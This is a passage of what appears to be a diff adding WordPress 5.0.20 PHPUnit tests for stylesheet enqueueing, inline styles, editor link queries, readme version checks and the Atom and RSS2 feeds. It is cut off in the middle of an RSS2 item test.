+		add_action( 'wp_print_styles', 'print_emoji_styles' );
+
+		if ( current_theme_supports( 'wp-block-styles' ) ) {
+			remove_theme_support( 'wp-block-styles' );
+		}
+
+		parent::tearDown();
+	}
+
+	/**
+	 * Test versioning
+	 * @ticket 11315
+	 */
+	function test_wp_enqueue_style() {
+		wp_enqueue_style('no-deps-no-version', 'example.com' );
+		wp_enqueue_style('no-deps-version', 'example.com', array(), 1.2);
+		wp_enqueue_style('no-deps-null-version', 'example.com', array(), null);
+		wp_enqueue_style('no-deps-null-version-print-media', 'example.com', array(), null, 'print');
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<link rel='stylesheet' id='no-deps-no-version-css'  href='http://example.com?ver=$ver' type='text/css' media='all' />\n";
+		$expected .= "<link rel='stylesheet' id='no-deps-version-css'  href='http://example.com?ver=1.2' type='text/css' media='all' />\n";
+		$expected .= "<link rel='stylesheet' id='no-deps-null-version-css'  href='http://example.com' type='text/css' media='all' />\n";
+		$expected .= "<link rel='stylesheet' id='no-deps-null-version-print-media-css'  href='http://example.com' type='text/css' media='print' />\n";
+
+		$this->assertEquals($expected, get_echo('wp_print_styles'));
+
+		// No styles left to print
+		$this->assertEquals("", get_echo('wp_print_styles'));
+	}
+
+	/**
+	 * Test the different protocol references in wp_enqueue_style
+	 * @global WP_Styles $wp_styles
+	 * @ticket 16560
+	 */
+	public function test_protocols() {
+		// Init
+		global $wp_styles;
+		$base_url_backup = $wp_styles->base_url;
+		$wp_styles->base_url = 'http://example.com/wordpress';
+		$expected = '';
+		$ver = get_bloginfo( 'version' );
+
+		// Try with an HTTP reference
+		wp_enqueue_style( 'reset-css-http', 'http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+		$expected  .= "<link rel='stylesheet' id='reset-css-http-css'  href='http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+		// Try with an HTTPS reference
+		wp_enqueue_style( 'reset-css-https', 'http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+		$expected  .= "<link rel='stylesheet' id='reset-css-https-css'  href='http://yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+		// Try with an automatic protocol reference (//)
+		wp_enqueue_style( 'reset-css-doubleslash', '//yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+		$expected  .= "<link rel='stylesheet' id='reset-css-doubleslash-css'  href='//yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+		// Try with a local resource and an automatic protocol reference (//)
+		$url = '//my_plugin/style.css';
+		wp_enqueue_style( 'plugin-style', $url );
+		$expected  .= "<link rel='stylesheet' id='plugin-style-css'  href='$url?ver=$ver' type='text/css' media='all' />\n";
+
+		// Try with a bad protocol
+		wp_enqueue_style( 'reset-css-ftp', 'ftp://yui.yahooapis.com/2.8.1/build/reset/reset-min.css' );
+		$expected  .= "<link rel='stylesheet' id='reset-css-ftp-css'  href='{$wp_styles->base_url}ftp://yui.yahooapis.com/2.8.1/build/reset/reset-min.css?ver=$ver' type='text/css' media='all' />\n";
+
+		// Go!
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+
+		// No styles left to print
+		$this->assertEquals( '', get_echo( 'wp_print_styles' ) );
+
+		// Cleanup
+		$wp_styles->base_url = $base_url_backup;
+	}
+
+	/**
+	 * Test if inline styles work
+	 * @ticket 24813
+	 */
+	public function test_inline_styles() {
+
+		$style  = ".thing {\n";
+		$style .= "\tbackground: red;\n";
+		$style .= "}";
+
+		$expected  = "<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+		$expected .= "<style id='handle-inline-css' type='text/css'>\n";
+		$expected .= "$style\n";
+		$expected .= "</style>\n";
+
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+		wp_add_inline_style( 'handle', $style );
+
+		// No styles left to print
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+	}
+
+	/**
+	 * Test if inline styles work with concatination
+	 * @global WP_Styles $wp_styles
+	 * @ticket 24813
+	 */
+	public function test_inline_styles_concat() {
+
+		global $wp_styles;
+
+		$wp_styles->do_concat = true;
+		$wp_styles->default_dirs = array( '/wp-admin/', '/wp-includes/css/' ); // Default dirs as in wp-includes/script-loader.php
+
+		$style  = ".thing {\n";
+		$style .= "\tbackground: red;\n";
+		$style .= "}";
+
+		$expected  = "<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+		$expected .= "<style id='handle-inline-css' type='text/css'>\n";
+		$expected .= "$style\n";
+		$expected .= "</style>\n";
+
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+		wp_add_inline_style( 'handle', $style );
+
+		wp_print_styles();
+		$this->assertEquals( $expected, $wp_styles->print_html );
+
+	}
+
+	/**
+	 * Test if multiple inline styles work
+	 * @ticket 24813
+	 */
+	public function test_multiple_inline_styles() {
+
+		$style1  = ".thing1 {\n";
+		$style1 .= "\tbackground: red;\n";
+		$style1 .= "}";
+
+		$style2  = ".thing2 {\n";
+		$style2 .= "\tbackground: blue;\n";
+		$style2 .= "}";
+
+		$expected  = "<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+		$expected .= "<style id='handle-inline-css' type='text/css'>\n";
+		$expected .= "$style1\n";
+		$expected .= "$style2\n";
+		$expected .= "</style>\n";
+
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+		wp_add_inline_style( 'handle', $style1 );
+		wp_add_inline_style( 'handle', $style2 );
+
+		// No styles left to print
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+
+	}
+
+	/**
+	 * Test if a plugin doing it the wrong way still works
+	 *
+	 * @expectedIncorrectUsage wp_add_inline_style
+	 * @ticket 24813
+	 */
+	public function test_plugin_doing_inline_styles_wrong() {
+
+		$style  = "<style id='handle-inline-css' type='text/css'>\n";
+		$style .= ".thing {\n";
+		$style .= "\tbackground: red;\n";
+		$style .= "}\n";
+		$style .= "</style>";
+
+		$expected  = "<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+		$expected .= "$style\n";
+
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+
+		wp_add_inline_style( 'handle', $style );
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+
+	}
+
+	/**
+	 * Test to make sure <style> tags aren't output if there are no inline styles.
+	 * @ticket 24813
+	 */
+	public function test_unnecessary_style_tags() {
+
+		$expected  = "<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+
+	}
+
+	/**
+	 * Test to make sure that inline styles attached to conditional
+	 * stylesheets are also conditional.
+	 */
+	public function test_conditional_inline_styles_are_also_conditional() {
+		$expected = <<<CSS
+<!--[if IE]>
+<link rel='stylesheet' id='handle-css'  href='http://example.com?ver=1' type='text/css' media='all' />
+<style id='handle-inline-css' type='text/css'>
+a { color: blue; }
+</style>
+<![endif]-->
+
+CSS;
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1 );
+		wp_style_add_data( 'handle', 'conditional', 'IE' );
+		wp_add_inline_style( 'handle', 'a { color: blue; }' );
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+	}
+
+	/**
+	 * Testing 'wp_register_style' return boolean success/failure value.
+	 *
+	 * @ticket 31126
+	 */
+	function test_wp_register_style() {
+		$this->assertTrue( wp_register_style( 'duplicate-handler', 'http://example.com' ) );
+		$this->assertFalse( wp_register_style( 'duplicate-handler', 'http://example.com' ) );
+	}
+
+	/**
+	 * @ticket 35229
+	 */
+	function test_wp_add_inline_style_for_handle_without_source() {
+		$style  = "a { color: blue; }";
+
+		$expected  = "<link rel='stylesheet' id='handle-one-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+		$expected .= "<link rel='stylesheet' id='handle-two-css'  href='http://example.com?ver=1' type='text/css' media='all' />\n";
+		$expected .= "<style id='handle-three-inline-css' type='text/css'>\n";
+		$expected .= "$style\n";
+		$expected .= "</style>\n";
+
+		wp_register_style( 'handle-one', 'http://example.com', array(), 1 );
+		wp_register_style( 'handle-two', 'http://example.com', array(), 1 );
+		wp_register_style( 'handle-three', false, array( 'handle-one', 'handle-two' ) );
+
+		wp_enqueue_style( 'handle-three' );
+		wp_add_inline_style( 'handle-three', $style );
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_styles' ) );
+	}
+
+	/**
+	 * @ticket 35921
+	 * @dataProvider data_styles_with_media
+	 */
+	function test_wp_enqueue_style_with_media( $expected, $media ) {
+		wp_enqueue_style( 'handle', 'http://example.com', array(), 1, $media );
+		$this->assertContains( $expected, get_echo( 'wp_print_styles' ) );
+	}
+
+	function data_styles_with_media() {
+		return array(
+			array(
+				"media='all'",
+				'all'
+			),
+			array(
+				"media='(orientation: portrait)'",
+				'(orientation: portrait)'
+			),
+			array(
+				"media='(max-width: 640px)'",
+				'(max-width: 640px)'
+			),
+			array(
+				"media='print and (min-width: 25cm)'",
+				'print and (min-width: 25cm)'
+			),
+			array(
+				"media='screen and (color), projection and (color)'",
+				'screen and (color), projection and (color)'
+			),
+			array(
+				"media='not screen and (color)'",
+				'not screen and (color)'
+			),
+		);
+	}
+
+	/**
+	 * Tests that visual block styles are enqueued in the editor even when there is not theme support for 'wp-block-styles'.
+	 *
+	 * Visual block styles should always be enqueued when editing to avoid the appearance of a broken editor.
+	 */
+	function test_block_styles_for_editing_without_theme_support() {
+		// Confirm we are without theme support by default.
+		$this->assertFalse( current_theme_supports( 'wp-block-styles' ) );
+
+		wp_default_styles( $GLOBALS['wp_styles'] );
+
+		$this->assertFalse( wp_style_is( 'wp-block-library-theme' ) );
+		wp_enqueue_style( 'wp-edit-blocks' );
+		$this->assertTrue( wp_style_is( 'wp-block-library-theme' ) );
+	}
+
+	/**
+	 * Tests that visual block styles are enqueued when there is theme support for 'wp-block-styles'.
+	 *
+	 * Visual block styles should always be enqueued when editing to avoid the appearance of a broken editor.
+	 */
+	function test_block_styles_for_editing_with_theme_support() {
+		add_theme_support( 'wp-block-styles' );
+
+		wp_default_styles( $GLOBALS['wp_styles'] );
+
+		$this->assertFalse( wp_style_is( 'wp-block-library-theme' ) );
+		wp_common_block_scripts_and_styles();
+		$this->assertTrue( wp_style_is( 'wp-block-library-theme' ) );
+	}
+
+	/**
+	 * Tests that visual block styles are not enqueued for viewing when there is no theme support for 'wp-block-styles'.
+	 *
+	 * Visual block styles should not be enqueued unless a theme opts in.
+	 * This way we avoid style conflicts with existing themes.
+	 */
+	function test_no_block_styles_for_viewing_without_theme_support() {
+		// Confirm we are without theme support by default.
+		$this->assertFalse( current_theme_supports( 'wp-block-styles' ) );
+
+		wp_default_styles( $GLOBALS['wp_styles'] );
+
+		$this->assertFalse( wp_style_is( 'wp-block-library-theme' ) );
+		wp_enqueue_style( 'wp-block-library' );
+		$this->assertFalse( wp_style_is( 'wp-block-library-theme' ) );
+	}
+
+	/**
+	 * Tests that visual block styles are enqueued for viewing when there is theme support for 'wp-block-styles'.
+	 *
+	 * Visual block styles should be enqueued when a theme opts in.
+	 */
+	function test_block_styles_for_viewing_with_theme_support() {
+		add_theme_support( 'wp-block-styles' );
+
+		wp_default_styles( $GLOBALS['wp_styles'] );
+
+		$this->assertFalse( wp_style_is( 'wp-block-library-theme' ) );
+		wp_common_block_scripts_and_styles();
+		$this->assertTrue( wp_style_is( 'wp-block-library-theme' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/editor/wpEditors.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/editor/wpEditors.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/editor/wpEditors.php	(revision 56912)
@@ -0,0 +1,82 @@
+<?php
+
+if ( ! class_exists( '_WP_Editors', false ) ) {
+	require_once ABSPATH . WPINC . '/class-wp-editor.php';
+}
+
+/**
+ * @group editor
+ */
+class Tests_WP_Editors extends WP_UnitTestCase {
+	public function wp_link_query_callback( $results ) {
+		return array_merge( $results, array(
+			array(
+				'ID'        => 123,
+				'title'     => 'foo',
+				'permalink' => 'bar',
+				'info'      => 'baz',
+			),
+		) );
+	}
+
+	public function test_wp_link_query_returns_false_when_nothing_found() {
+		$actual = _WP_Editors::wp_link_query( array( 's' => 'foobarbaz' ) );
+
+		$this->assertFalse( $actual );
+	}
+
+	public function test_wp_link_query_returns_search_results() {
+		$post   = self::factory()->post->create_and_get( array( 'post_status' => 'publish' ) );
+		$actual = _WP_Editors::wp_link_query( array( 's' => $post->post_title ) );
+
+		$this->assertEqualSets( array(
+			array(
+				'ID'        => $post->ID,
+				'title'     => $post->post_title,
+				'permalink' => get_permalink( $post->ID ),
+				'info'      => mysql2date( __( 'Y/m/d' ), $post->post_date ),
+			),
+		), $actual );
+	}
+
+	/**
+	 * @ticket 41825
+	 */
+	public function test_wp_link_query_returns_filtered_result_when_nothing_found() {
+		add_filter( 'wp_link_query', array( $this, 'wp_link_query_callback' ) );
+		$actual = _WP_Editors::wp_link_query( array( 's' => 'foobarbaz' ) );
+		remove_filter( 'wp_link_query', array( $this, 'wp_link_query_callback' ) );
+
+		$this->assertEqualSets( array(
+			array(
+				'ID'        => 123,
+				'title'     => 'foo',
+				'permalink' => 'bar',
+				'info'      => 'baz',
+			),
+		), $actual );
+	}
+
+	public function test_wp_link_query_returns_filtered_search_results() {
+		$post = self::factory()->post->create_and_get( array( 'post_status' => 'publish' ) );
+
+		add_filter( 'wp_link_query', array( $this, 'wp_link_query_callback' ) );
+		$actual = _WP_Editors::wp_link_query( array( 's' => $post->post_title ) );
+		remove_filter( 'wp_link_query', array( $this, 'wp_link_query_callback' ) );
+
+		$this->assertEqualSets( array(
+			array(
+				'ID'        => $post->ID,
+				'title'     => $post->post_title,
+				'permalink' => get_permalink( $post->ID ),
+				'info'      => mysql2date( __( 'Y/m/d' ), $post->post_date ),
+			),
+			array(
+				'ID'        => 123,
+				'title'     => 'foo',
+				'permalink' => 'bar',
+				'info'      => 'baz',
+			),
+		), $actual );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/external-http/basic.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/external-http/basic.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/external-http/basic.php	(revision 56912)
@@ -0,0 +1,50 @@
+<?php
+/**
+ * @group external-http
+ */
+class Tests_External_HTTP_Basic extends WP_UnitTestCase {
+
+	function test_readme() {
+		// This test is designed to only run on trunk/master
+		$this->skipOnAutomatedBranches();
+
+		$readme = file_get_contents( ABSPATH . 'readme.html' );
+
+		preg_match( '#Recommendations.*PHP</a> version <strong>([0-9.]*)#s', $readme, $matches );
+
+		$response = wp_remote_get( 'https://secure.php.net/supported-versions.php' );
+
+		$this->skipTestOnTimeout( $response );
+
+		$response_code = wp_remote_retrieve_response_code( $response );
+		if ( 200 !== $response_code ) {
+			$this->fail( sprintf( 'Could not contact PHP.net to check versions. Response code: %s', $response_code ) );
+		}
+
+		$php = wp_remote_retrieve_body( $response );
+
+		preg_match_all( '#<tr class="stable">\s*<td>\s*<a [^>]*>\s*([0-9.]*)#s', $php, $phpmatches );
+
+		$this->assertContains( $matches[1], $phpmatches[1], "readme.html's Recommended PHP version is too old. Remember to update the WordPress.org Requirements page, too." );
+
+		preg_match( '#Recommendations.*MySQL</a> version <strong>([0-9.]*)#s', $readme, $matches );
+
+		$response = wp_remote_get( "https://dev.mysql.com/doc/relnotes/mysql/{$matches[1]}/en/" );
+
+		$this->skipTestOnTimeout( $response );
+
+		$response_code = wp_remote_retrieve_response_code( $response );
+		if ( 200 !== $response_code ) {
+			$this->fail( sprintf( 'Could not contact dev.MySQL.com to check versions. Response code: %s', $response_code ) );
+		}
+
+		$mysql = wp_remote_retrieve_body( $response );
+
+		preg_match( '#(\d{4}-\d{2}-\d{2}), General Availability#', $mysql, $mysqlmatches );
+
+		// Per https://www.mysql.com/support/, Oracle actively supports MySQL releases for 5 years from GA release
+		$mysql_eol = strtotime( $mysqlmatches[1] . ' +5 years' );
+
+		$this->assertLessThan( $mysql_eol, time(), "readme.html's Recommended MySQL version is too old. Remember to update the WordPress.org Requirements page, too." );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/feed/atom.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/feed/atom.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/feed/atom.php	(revision 56912)
@@ -0,0 +1,200 @@
+<?php
+
+/**
+ * Test the Atom feed by generating a feed, parsing it, and checking that the
+ * parsed contents match the contents of the posts stored in the database.  Since
+ * we're using a real XML parser, this confirms that the feed is valid, well formed,
+ * and contains the right stuff.
+ *
+ * @group feed
+ */
+class Tests_Feeds_Atom extends WP_UnitTestCase {
+	static $user_id;
+	static $posts;
+	static $category;
+
+	/**
+	 * Setup a new user and attribute some posts.
+	 */
+	public static function wpSetUpBeforeClass( $factory ) {
+		// Create a user
+		self::$user_id = $factory->user->create( array(
+			'role'         => 'author',
+			'user_login'   => 'test_author',
+			'display_name' => 'Test A. Uthor',
+		) );
+
+		// Create a taxonomy
+		self::$category = self::factory()->category->create_and_get( array(
+			'name' => 'Test Category',
+			'slug' => 'test-cat',
+		) );
+
+		$count = get_option( 'posts_per_rss' ) + 1;
+
+		// Create a few posts
+		self::$posts = $factory->post->create_many( $count, array(
+			'post_author'  => self::$user_id,
+			'post_content' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec velit massa, ultrices eu est suscipit, mattis posuere est. Donec vitae purus lacus. Cras vitae odio odio.',
+			'post_excerpt' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
+		) );
+
+		// Assign a category to those posts
+		foreach ( self::$posts as $post ) {
+			wp_set_object_terms( $post, self::$category->slug, 'category' );
+		}
+
+	}
+
+	/**
+	 * Setup.
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		$this->post_count = (int) get_option( 'posts_per_rss' );
+		$this->excerpt_only = get_option( 'rss_use_excerpt' );
+	}
+
+	/**
+	 * This is a bit of a hack used to buffer feed content.
+	 */
+	function do_atom() {
+		ob_start();
+		// Nasty hack! In the future it would better to leverage do_feed( 'atom' ).
+		global $post;
+		try {
+			@require( ABSPATH . 'wp-includes/feed-atom.php' );
+			$out = ob_get_clean();
+		} catch ( Exception $e ) {
+			$out = ob_get_clean();
+			throw( $e );
+		}
+		return $out;
+	}
+
+	/**
+	 * Test the <feed> element to make sure its present and populated
+	 * with the expected child elements and attributes.
+	 */
+	function test_feed_element() {
+		$this->go_to( '/?feed=atom' );
+		$feed = $this->do_atom();
+		$xml = xml_to_array( $feed );
+
+		// Get the <feed> child element of <xml>.
+		$atom = xml_find( $xml, 'feed' );
+
+		// There should only be one <feed> child element.
+		$this->assertCount( 1, $atom );
+
+		// Verify attributes.
+		$this->assertEquals( 'http://www.w3.org/2005/Atom', $atom[0]['attributes']['xmlns'] );
+		$this->assertEquals( 'http://purl.org/syndication/thread/1.0', $atom[0]['attributes']['xmlns:thr'] );
+		$this->assertEquals( site_url( '/wp-atom.php' ) , $atom[0]['attributes']['xml:base'] );
+
+		// Verify the <feed> element is present and contains a <title> child element.
+		$title = xml_find( $xml, 'feed', 'title' );
+		$this->assertEquals( get_option( 'blogname' ), $title[0]['content'] );
+
+		// Verify the <feed> element is present and contains a <updated> child element.
+		$updated = xml_find( $xml, 'feed', 'updated' );
+		$this->assertEquals( strtotime( get_lastpostmodified() ), strtotime( $updated[0]['content'] ) );
+
+		// Verify the <feed> element is present and contains a <subtitle> child element.
+		$subtitle = xml_find( $xml, 'feed', 'subtitle' );
+		$this->assertEquals( get_option( 'blogdescription' ), $subtitle[0]['content'] );
+
+		// Verify the <feed> element is present and contains two <link> child elements.
+		$link = xml_find( $xml, 'feed', 'link' );
+		$this->assertCount( 2, $link );
+
+		// Verify the <feed> element is present and contains a <link rel="alternate"> child element.
+		$this->assertEquals( 'alternate', $link[0]['attributes']['rel'] );
+		$this->assertEquals( home_url(), $link[0]['attributes']['href'] );
+
+		// Verify the <feed> element is present and contains a <link rel="href"> child element.
+		$this->assertEquals( 'self', $link[1]['attributes']['rel'] );
+		$this->assertEquals( home_url( '/?feed=atom' ), $link[1]['attributes']['href'] );
+	}
+
+	/**
+	 * Validate <entry> child elements.
+	 */
+	function test_entry_elements() {
+		$this->go_to( '/?feed=atom' );
+		$feed = $this->do_atom();
+		$xml = xml_to_array( $feed );
+
+		// Get all the <entry> child elements of the <feed> element.
+		$entries = xml_find( $xml, 'feed', 'entry' );
+
+		// Verify we are displaying the correct number of posts.
+		$this->assertCount( $this->post_count, $entries );
+
+		// We Really only need to test X number of entries unless the content is different
+		$entries = array_slice( $entries, 1 );
+
+		// Check each of the desired entries against the known post data.
+		foreach ( $entries as $key => $entry ) {
+
+			// Get post for comparison
+			$id = xml_find( $entries[$key]['child'], 'id' );
+			preg_match( '/\?p=(\d+)/', $id[0]['content'], $matches );
+			$post = get_post( $matches[1] );
+
+			// Author
+			$author = xml_find( $entries[$key]['child'], 'author', 'name' );
+			$user = new WP_User( $post->post_author );
+			$this->assertEquals( $user->display_name, $author[0]['content'] );
+
+			// Title
+			$title = xml_find( $entries[$key]['child'], 'title' );
+			$this->assertEquals( $post->post_title, $title[0]['content'] );
+
+			// Link rel="alternate"
+			$link_alts = xml_find( $entries[$key]['child'], 'link' );
+			foreach ( $link_alts as $link_alt ) {
+				if ( 'alternate' == $link_alt['attributes']['rel'] ) {
+					$this->assertEquals( get_permalink( $post ), $link_alt['attributes']['href'] );
+				}
+			}
+
+			// Id
+			$guid = xml_find( $entries[$key]['child'], 'id' );
+			$this->assertEquals( $post->guid, $id[0]['content'] );
+
+			// Updated
+			$updated = xml_find( $entries[$key]['child'], 'updated' );
+			$this->assertEquals( strtotime( $post->post_modified_gmt ), strtotime( $updated[0]['content'] ) );
+
+			// Published
+			$published = xml_find( $entries[$key]['child'], 'published' );
+			$this->assertEquals( strtotime( $post->post_date_gmt ), strtotime( $published[0]['content'] ) );
+
+			// Category
+			foreach ( get_the_category( $post->ID ) as $term ) {
+				$terms[] = $term->name;
+			}
+			$categories = xml_find( $entries[$key]['child'], 'category' );
+			foreach ( $categories as $category ) {
+				$this->assertTrue( in_array( $category['attributes']['term'], $terms ) );
+			}
+			unset( $terms );
+
+			// Content
+			if ( ! $this->excerpt_only ) {
+				$content = xml_find( $entries[$key]['child'], 'content' );
+				$this->assertEquals( trim( apply_filters( 'the_content', $post->post_content ) ), trim( $content[0]['content'] ) );
+			}
+
+			// Link rel="replies"
+			$link_replies = xml_find( $entries[$key]['child'], 'link' );
+			foreach ( $link_replies as $link_reply ) {
+				if ( 'replies' == $link_reply['attributes']['rel'] && 'application/atom+xml' == $link_reply['attributes']['type'] ) {
+					$this->assertEquals( get_post_comments_feed_link( $post->ID, 'atom' ), $link_reply['attributes']['href'] );
+				}
+			}
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/feed/rss2.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/feed/rss2.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/feed/rss2.php	(revision 56912)
@@ -0,0 +1,457 @@
+<?php
+
+/**
+ * Test the RSS 2.0 feed by generating a feed, parsing it, and checking that the
+ * parsed contents match the contents of the posts stored in the database.  Since
+ * we're using a real XML parser, this confirms that the feed is valid, well formed,
+ * and contains the right stuff.
+ *
+ * @group feed
+ */
+class Tests_Feeds_RSS2 extends WP_UnitTestCase {
+	static $user_id;
+	static $posts;
+	static $category;
+	static $post_date;
+
+	/**
+	 * Setup a new user and attribute some posts.
+	 */
+	public static function wpSetUpBeforeClass( $factory ) {
+		// Create a user
+		self::$user_id = $factory->user->create( array(
+			'role'         => 'author',
+			'user_login'   => 'test_author',
+			'display_name' => 'Test A. Uthor',
+		) );
+
+		// Create a taxonomy
+		self::$category = $factory->category->create_and_get( array(
+			'name' => 'Foo Category',
+			'slug' => 'foo',
+		) );
+
+		// Set a predictable time for testing date archives.
+		self::$post_date = '2003-05-27 10:07:53';
+
+		$count = get_option( 'posts_per_rss' ) + 1;
+
+		// Create a few posts
+		self::$posts = $factory->post->create_many( $count, array(
+			'post_author'  => self::$user_id,
+			'post_date'    => self::$post_date,
+			'post_content' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec velit massa, ultrices eu est suscipit, mattis posuere est. Donec vitae purus lacus. Cras vitae odio odio.',
+			'post_excerpt' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
+		) );
+
+		// Assign a category to those posts
+		foreach ( self::$posts as $post ) {
+			wp_set_object_terms( $post, self::$category->slug, 'category' );
+		}
+	}
+
+	/**
+	 * Setup.
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		$this->post_count = (int) get_option( 'posts_per_rss' );
+		$this->excerpt_only = get_option( 'rss_use_excerpt' );
+		// this seems to break something
+		update_option( 'use_smilies', false );
+
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+		create_initial_taxonomies();
+	}
+
+	/**
+	 * This is a bit of a hack used to buffer feed content.
+	 */
+	function do_rss2() {
+		ob_start();
+		// Nasty hack! In the future it would better to leverage do_feed( 'rss2' ).
+		global $post;
+		try {
+			@require(ABSPATH . 'wp-includes/feed-rss2.php');
+			$out = ob_get_clean();
+		} catch (Exception $e) {
+			$out = ob_get_clean();
+			throw($e);
+		}
+		return $out;
+	}
+
+	/**
+	 * Test the <rss> element to make sure its present and populated
+	 * with the expected child elements and attributes.
+	 */
+	function test_rss_element() {
+		$this->go_to( '/?feed=rss2' );
+		$feed = $this->do_rss2();
+		$xml = xml_to_array( $feed );
+
+		// Get the <rss> child element of <xml>.
+		$rss = xml_find( $xml, 'rss' );
+
+		// There should only be one <rss> child element.
+		$this->assertEquals( 1, count( $rss ) );
+
+		$this->assertEquals( '2.0', $rss[0]['attributes']['version'] );
+		$this->assertEquals( 'http://purl.org/rss/1.0/modules/content/', $rss[0]['attributes']['xmlns:content'] );
+		$this->assertEquals( 'http://wellformedweb.org/CommentAPI/', $rss[0]['attributes']['xmlns:wfw'] );
+		$this->assertEquals( 'http://purl.org/dc/elements/1.1/', $rss[0]['attributes']['xmlns:dc'] );
+
+		// rss should have exactly one child element (channel)
+		$this->assertEquals( 1, count( $rss[0]['child'] ) );
+	}
+
+	/**
+	 * [test_channel_element description]
+	 * @return [type] [description]
+	 */
+	function test_channel_element() {
+		$this->go_to( '/?feed=rss2' );
+		$feed = $this->do_rss2();
+		$xml = xml_to_array( $feed );
+
+		// get the rss -> channel element
+		$channel = xml_find( $xml, 'rss', 'channel' );
+
+		// The channel should be free of attributes
+		$this->assertTrue( empty( $channel[0]['attributes'] ) );
+
+		// Verify the channel is present and contains a title child element
+		$title = xml_find( $xml, 'rss', 'channel', 'title' );
+		$this->assertEquals( get_option( 'blogname' ), $title[0]['content'] );
+
+		$desc = xml_find( $xml, 'rss', 'channel', 'description' );
+		$this->assertEquals( get_option( 'blogdescription' ), $desc[0]['content'] );
+
+		$link = xml_find( $xml, 'rss', 'channel', 'link' );
+		$this->assertEquals( get_option( 'siteurl' ), $link[0]['content'] );
+
+		$pubdate = xml_find( $xml, 'rss', 'channel', 'lastBuildDate' );
+		$this->assertEquals( strtotime( get_lastpostmodified() ), strtotime( $pubdate[0]['content'] ) );
+	}
+
+	/**
+	 * Test that translated feeds have a valid listed date.
+	 * @group 39141
+	 */
+	function test_channel_pubdate_element_translated() {
+		$original_locale = $GLOBALS['wp_locale'];
+		/* @var WP_Locale $locale */
+		$locale = clone $GLOBALS['wp_locale'];
+
+		$locale->weekday[2] = 'Tuesday_Translated';
+		$locale->weekday_abbrev[ 'Tuesday_Translated' ] = 'Tue_Translated';
+
+		$GLOBALS['wp_locale'] = $locale;
+
+		$this->go_to( '/?feed=rss2' );
+		$feed = $this->do_rss2();
+
+		// Restore original locale.
+		$GLOBALS['wp_locale'] = $original_locale;
+
+		$xml = xml_to_array( $feed );
+
+		// Verify the date is untranslated.
+		$pubdate = xml_find( $xml, 'rss', 'channel', 'lastBuildDate' );
+		$this->assertNotContains( 'Tue_Translated', $pubdate[0]['content'] );
+	}
+
+	function test_item_elements() {
+		$this->go_to( '/?feed=rss2' );
+		$feed = $this->do_rss2();
+		$xml = xml_to_array( $feed );
+
+		// Get all the <item> child elements of the <channel> element
+		$items = xml_find( $xml, 'rss', 'channel', 'item' );
+
+		// Verify we are displaying the correct number of posts.
+		$this->assertCount( $this->post_count, $items );
+
+		// We Really only need to test X number of items unless the content is different
+		$items = array_slice( $items, 1 );
+
+		// Check each of the desired entries against the known post data
+		foreach ( $items as $key => $item ) {
+
+			// Get post for comparison
+			$guid = xml_find( $items[$key]['child'], 'guid' );
+			preg_match( '/\?p=(\d+)/', $guid[0]['content'], $matches );
+			$post = get_post( $matches[1] );
+
+			// Title
+			$title = xml_find( $items[$key]['child'], 'title' );
+			$this->assertEquals( $post->post_title, $title[0]['content'] );
+
+			// Link
+			$link = xml_find( $items[$key]['child'], 'link' );
+			$this->assertEquals( get_permalink( $post ), $link[0]['content'] );
+
+			// Comment link
+			$comments_link = xml_find( $items[$key]['child'], 'comments' );
+			$this->assertEquals( get_permalink( $post ) . '#respond', $comments_link[0]['content'] );
+
+			// Pub date
+			$pubdate = xml_find( $items[$key]['child'], 'pubDate' );
+			$this->assertEquals( strtotime( $post->post_date_gmt ), strtotime( $pubdate[0]['content'] ) );
+
+			// Author
